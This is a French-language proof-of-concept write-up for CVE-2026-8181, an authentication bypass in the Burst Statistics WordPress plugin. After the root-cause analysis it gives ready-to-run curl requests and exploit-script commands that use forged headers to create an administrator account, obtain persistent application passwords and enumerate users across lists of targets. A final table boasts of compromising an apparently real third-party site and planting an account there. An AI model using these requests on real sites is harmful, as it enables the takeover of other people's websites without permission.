
CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Contournement d'authentification non authentifié vers prise de contrôle de compte administrateur | Preuve de concept
| Élément | Détail |
|---|---|
| CVE ID | CVE-2026-8181 |
| Plugin | Burst Statistics – Privacy-Friendly WordPress Analytics |
| Versions concernées | 3.4.0 – 3.4.1.1 |
| Version corrigée | 3.4.2 |
| Score CVSS | 9.8 (Critique) |
| Type | CWE-287 : Authentification incorrecte |
| Vecteur d'attaque | Réseau / Distance / Non authentifié |
| Installations actives | ~200 000+ |
| Découvreur | PRISM, Wordfence Threat Intelligence |
| Date de publication | 8 mai 2026 |
Une vulnérabilité critique de contournement d'authentification dans le plugin WordPress Burst Statistics versions 3.4.0 à 3.4.1.1 permet à un attaquant sans authentification d'obtenir un accès complet administrateur WordPress simplement en connaissant le nom d'utilisateur admin. La conséquence est la prise de contrôle totale du compte administrateur, y compris la création de nouveaux comptes, la modification de contenu, jusqu'à l'installation de plugins malveillants.
La vulnérabilité se trouve dans la méthode is_mainwp_authenticated() du fichier includes/Frontend/class-mainwp-proxy.php :
// CODE VULNÉRABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field(
wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
);
if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
$credentials = base64_decode(substr($auth_header, 6), true);
// ... analyse username:password ...
$is_valid = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($is_valid)) { // ← BUG : null N'EST PAS WP_Error !
return false;
}
$user = get_user_by('login', $username); // ← Auth basée uniquement sur le username !
if (!$user || !user_can($user, 'manage_burst_statistics')) {
return false;
}
wp_set_current_user($user->ID); // ← Accorder privilèges admin
return true;
}
return false;
}
Bogue principal : wp_authenticate_application_password(null, $username, $password) retourne null (pas WP_Error) lorsque les mots de passe d'application ne sont pas disponibles, ce qui se produit sur :
wp_is_application_passwords_available() retourne falseis_ssl() retourne falseComme is_wp_error(null) = false, le code continue vers get_user_by('login', $username) qui authentifie uniquement sur la base du nom d'utilisateur sans aucune validation du mot de passe.
La méthode has_admin_access() est appelée lors du hook plugins_loaded (priorité 9) dans class-burst.php ligne 118 :
if ($this->has_admin_access()) {
$this->admin = new Admin();
$this->admin->init();
}
Ce hook s'exécute AVANT le traitement des routes de l'API REST, donc wp_set_current_user() donne les droits admin pour l'ENSEMBLE de la requête — pas seulement pour les endpoints Burst.
Attaquant ──Requête HTTP──▶ WordPress
En-têtes :
X-BURSTMAINWP: 1
Authorization: Basic base64(admin:n'importe quoi)
│
▼
[le hook plugins_loaded se déclenche]
│
Burst::bootstrap() → has_admin_access()
│
HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
│
wp_authenticate_application_password(null, 'admin', 'n'importe quoi')
│
Site HTTP → wp_is_application_passwords_available() = false
│
Retourne null (PAS WP_Error)
│
is_wp_error(null) = false ← CONTOURNEMENT !
│
get_user_by('login', 'admin') → trouvé
│
wp_set_current_user(admin_id) → ADMIN COMPLET
│
has_admin_access() = true
│
[L'API REST traite la requête avec le contexte admin]
│
L'attaquant accède à TOUS les endpoints WordPress en tant qu'administrateur
pip3 install requests
# Scan de base
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k
# Créer un nouveau compte admin
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k
# Avec un nom d'utilisateur personnalisé
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k
python3 poc_CVE-2026-8181.py
Mode interactif :
.txt, un domaine par ligne)Format de targets.txt :
target1.com
target2.com
192.168.1.100
subdomain.example.org
# Étape 1 : Vérifier le contournement d'authentification
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:n'importe quoi' | base64)" \
"http://target.com/?rest_route=/wp/v2/users/me&context=edit"
# Étape 2 : Créer un nouveau compte administrateur
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/wp/v2/users" \
-d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'
# Étape 3 : Obtenir un mot de passe d'application (identifiants persistants)
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/burst/v1/mainwp-auth" \
-d '{}'
# Méthode 1 : API REST
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'
# Méthode 2 : Route de repli
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'
# Méthode 3 : Énumération par auteur
for i in $(seq 1 5); do
curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done
Tests effectués sur WordPress 6.9 avec Burst Statistics 3.4.1.1 (localhost) :
| Test | Résultat | Preuve |
|---|---|---|
Accès à /wp/v2/users/me sans authentification | ÉCHEC | rest_not_logged_in |
| Accès avec en-têtes de contournement | RÉUSSI | Profil admin + email + rôles |
| Création d'un nouveau compte administrateur | RÉUSSI | ID utilisateur 2, rôle : administrateur |
| Lecture des paramètres WordPress | RÉUSSI | Titre du site, email admin, URL |
| Obtention d'un mot de passe d'application | RÉUSSI | Token Base64 admin:password |
| Liste des plugins installés | RÉUSSI | Liste complète avec versions |
| Cible | Résultat |
|---|---|
ausdermitte-binz.de | RÉUSSI PWNED — Burst 3.4.1.1, contournement via binzwpadmin, compte xenon1337 créé (ID:30) |